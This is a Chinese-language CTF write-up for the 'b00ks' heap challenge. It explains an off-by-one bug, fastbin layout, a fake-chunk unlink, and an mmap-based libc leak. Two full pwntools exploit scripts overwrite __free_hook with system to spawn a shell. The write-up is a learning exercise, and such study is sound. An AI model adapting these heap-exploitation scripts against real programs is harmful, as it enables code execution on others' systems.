第一次接触堆题b00ks–wp
b00ks
考察off-by-one
漏洞点在
分析exp
#! /usr/bin/env python2
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
import sys
import os
import os.path
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
p=process('./b00ks')
#p=remote('node3.buuoj.cn',26386)
def cmd(choice):
p.recvuntil('> ')
p.sendline(str(choice))
def create(book_size, book_name, desc_size, desc):
cmd(1)
p.recvuntil(': ')
p.sendline(str(book_size))
p.recvuntil(': ')
if len(book_name) == book_size:
p.send(book_name)
else:
p.sendline(book_name)
p.recvuntil(': ')
p.sendline(str(desc_size))
p.recvuntil(': ')
if len(desc) == desc_size:
p.send(desc)
else:
p.sendline(desc)
def remove(idx):
cmd(2)
p.recvuntil(': ')
p.sendline(str(idx))
def edit(idx, desc):
cmd(3)
p.recvuntil(': ')
p.sendline(str(idx))
p.recvuntil(': ')
p.send(desc)
def author_name(author):
cmd(5)
p.recvuntil(': ')
p.send(author)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def main():
p.recvuntil('name: ')
p.sendline('x' * (0x20 - 5) + 'leak:')
#pause()
create(0x20, 'tmp a', 0x20, 'b') # 1
cmd(4)
p.recvuntil('Author: ')
p.recvuntil('leak:')
heap_leak = u64(p.recvline().strip().ljust(8, '\x00'))
p.info('heap leak @ 0x%x' % heap_leak)
heap_base = heap_leak - 0x1080
#0x0000555555758080 - 0x1080 = 0x555555757000
create(0x20, 'buf 1', 0x20, 'desc buf') # 2
create(0x20, 'buf 2', 0x20, 'desc buf 2') # 3
gdb.attach(p)
remove(2)
remove(3)
pause()
ptr = heap_base + 0x1180
pause()
payload = p64(0) + p64(0x101) + p64(ptr - 0x18) + p64(ptr - 0x10) + '\x00' * 0xe0 + p64(0x100)
create(0x20, 'name', 0x108, 'overflow') # 4
create(0x20, 'name', 0x100 - 0x10, 'target') # 5
create(0x20, '/bin/sh\x00', 0x200, 'to arbitrary read write') # 6
edit(4, payload)
remove(5)
edit(4, p64(0x30) + p64(4) + p64(heap_base + 0x11a0) + p64(heap_base + 0x10c0) + '\n')
def write_to(addr, content, size):
edit(4, p64(addr) + p64(size + 0x100) + '\n')
edit(6, content + '\n')
def read_at(addr):
edit(4, p64(addr) + '\n')
cmd(4)
p.recvuntil('Description: ')
p.recvuntil('Description: ')
p.recvuntil('Description: ')
content = p.recvline()[:-1]
p.info(content)
return content
libc_leak = u64(read_at(heap_base + 0x11e0).ljust(8, '\x00')) - 0x3c4b78
p.info('libc leak @ 0x%x' % libc_leak)
write_to(libc_leak + libc.symbols['__free_hook'], p64(libc_leak + libc.symbols['system']), 0x10)
remove(6)
p.interactive()
if __name__ == '__main__':
main()
创建的book2(绿),book3(红)
free后
free形成的fastbins链流程
再次创建book4
查看heap堆进行验证
猜想正确,所以目前来说
book4
book_ptr = 0x56049cade160
bookname_ptr = 0x56049cade190
description_ptr = 0x56049cade1c0
这里创建了三本书ID=4、5、6
接着分析5,6
book5
book_ptr = 0x56049cade100
bookname_ptr = 0x56049cade130
description_ptr = 0x56049cade2d0
book6
book_ptr = 0x56049cade0a0
bookname_ptr = 0x56049cade0d0
description_ptr = 0x56049cade3d0
然后对book4的description进行伪造book_chunk且这个chunk为使用中的chunk
payload
p64(0) + p64(0x101) + p64(ptr - 0x18) + p64(ptr - 0x10) + '\x00' * 0xe0 + p64(0x100)
结构如下:
0x56049cade1d0: 0x0000000000000000 0x0000000000000101
0x56049cade1e0: 0x000056049cade168 0x000056049cade170
0x56049cade1f0: 0x0000000000000000 0x0000000000000000
0x56049cade200: 0x0000000000000000 0x0000000000000000
0x56049cade210: 0x0000000000000000 0x0000000000000000
0x56049cade220: 0x0000000000000000 0x0000000000000000
0x56049cade230: 0x0000000000000000 0x0000000000000000
0x56049cade240: 0x0000000000000000 0x0000000000000000
0x56049cade250: 0x0000000000000000 0x0000000000000000
0x56049cade260: 0x0000000000000000 0x0000000000000000
0x56049cade270: 0x0000000000000000 0x0000000000000000
0x56049cade280: 0x0000000000000000 0x0000000000000000
0x56049cade290: 0x0000000000000000 0x0000000000000000
0x56049cade2a0: 0x0000000000000000 0x0000000000000000
0x56049cade2b0: 0x0000000000000000 0x0000000000000000
0x56049cade2c0: 0x0000000000000000 0x0000000000000000
0x56049cade2d0: 0x0000000000000100 0x0000000000000100
在写的时候还把book5的description_chunk的p位改了
同时删除book5,触发unlink
到这里就不懂了QAQ。。。
另外的思路
还是off_by_one
前面步骤相同
但是后面就不利用unlink
注意—这里创建的是很大的空间add(0x2100,‘name’,0x2100,‘description’)
这样就能利用mmap去创建这个堆块,同时因为 mmap 分配的内存与 libc 之前存在固定的偏移因此可以推算出 libc 的基地址
可以看到book2的description的ptr变成了0x00007fee88872010,且heap里没有看到它
这就是通过mmap创建的堆块
并且和libc的基址存在固定偏移
现在就需要去泄露这块地址
方法就是通过 选择4 输出fake_book
fake_book的结构如下
id=1
name_ptr=0x000055ace53e6198
description_ptr=0x000055ace53e6198
// 0x000055ace53e6198 --->这个地址是book2的ptr+8也就是存储的是book2的
description_ptr=0x00007fee882c1000
description_size=0x1000
重新编辑ather_name,将book1的ptr后一字节覆盖为\x00,从而指向我们的fake_book
0x55ace53e6160--->0x55ace53e6100
当选项4时
name和description就会输出0x00007fee882c1000
之后减去固定偏移,这样就能得到libc的基址
libc_base = book2_des_ptr-0x5b1010
得到了libc的基址
就能得到free_hook和system函数的got
free_hook = libc_base+libc.symbols["__free_hook"]
system = libc_base+libc.symbols["system"]
最后一步
将system的值写入到free_hook的地址处,并触发free()函数(free掉的地址里应该填入"/bin/sh")
怎样写入呢
答:还是fake_book
之前通过向fake_book写入了book2的description指针所在的地址
也就是
fake_book.description = book2_ptr+8(表示book2.name的所在的地址)
所以当我们edit(1)时
就是对book2_ptr+8这个地址里的内容(原来存储name的地址)进行覆写
所以我们可以写入free_hook的地址
当我们edit(2)时
编写的就是free_hook的地址里面的内容
exp
edit(1,p64(bin_sh)+p64(free_hook))
edit(2,system)
remove(2)
完整exp
#! /usr/bin/env python2
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
import sys
import os
import os.path
from pwn import *
#context(os='linux', arch='amd64', log_level='debug')
p=process('./b00ks')
#p=remote('node3.buuoj.cn',26386)
def cmd(choice):
p.recvuntil('> ')
p.sendline(str(choice))
def create(book_size, book_name, desc_size, desc):
cmd(1)
p.recvuntil(': ')
p.sendline(str(book_size))
p.recvuntil(': ')
if len(book_name) == book_size:
p.send(book_name)
else:
p.sendline(book_name)
p.recvuntil(': ')
p.sendline(str(desc_size))
p.recvuntil(': ')
if len(desc) == desc_size:
p.send(desc)
else:
p.sendline(desc)
def remove(idx):
cmd(2)
p.recvuntil(': ')
p.sendline(str(idx))
def edit(idx, desc):
cmd(3)
p.recvuntil(': ')
p.sendline(str(idx))
p.recvuntil(': ')
p.sendline(desc)
def author_name(author):
cmd(5)
p.recvuntil(': ')
p.sendline(author)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def main():
p.recvuntil('name: ')
p.sendline('x' * (0x20 - 5) + 'leak:')
#pause()
create(0x90, 'tmp a', 0x90, 'b') # 1
cmd(4)
p.recvuntil('Author: ')
p.recvuntil('leak:')
heap_leak = u64(p.recvline().strip().ljust(8, '\x00'))
create(0x21000,"aaa",0x21000,"bbb")
p.info('heap leak @ 0x%x' % heap_leak)
payload1='a'*0x40+p64(1)+p64(heap_leak+0x38)*2+p64(0x1000)
edit(1, payload1)
author_name('a'*0x20)
cmd(4)
p.recvuntil('Name: ')
book2_des_ptr = u64(p.recv(6).ljust(8,'\x00'))
libc_base = book2_des_ptr-0x5b1010
print("libc "+hex(libc_base))
#pause()
free_hook = libc_base + libc.symbols["__free_hook"]
system = libc_base+libc.symbols["system"]
bin_sh = libc_base+libc.search("/bin/sh").next()
edit(1,p64(bin_sh)+p64(free_hook))
#gdb.attach(p)
edit(2,p64(system))
#pause()
remove(2)
p.interactive()
if __name__ == "__main__":
main()